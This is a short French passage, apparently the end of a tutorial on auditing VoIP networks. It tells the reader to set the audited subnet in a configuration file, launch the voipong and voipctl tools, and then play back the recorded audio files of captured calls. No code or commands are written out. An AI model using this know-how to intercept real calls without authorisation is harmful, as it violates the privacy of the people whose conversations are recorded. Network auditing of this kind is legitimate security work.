Vous trouverez seulement deux lignes. Ici, notamment sur la deuxième ligne, mettez le sous réseau audité. Si ça ne marche pas, faites de même sur la première ligne.


4.2 - Lancement des outils

Tout simplement, nous lançons voipong ...


... puis voipctl


4.3 - Écoutez !

Il ne vous reste plus qu'à récupérer les fichiers audio enregistrés (voir le fichier de configuration de voipong pour connaître le répertoire de destination) et à lancer votre lecteur audio préféré.


Have fun! ;)
Locations of visitors to this page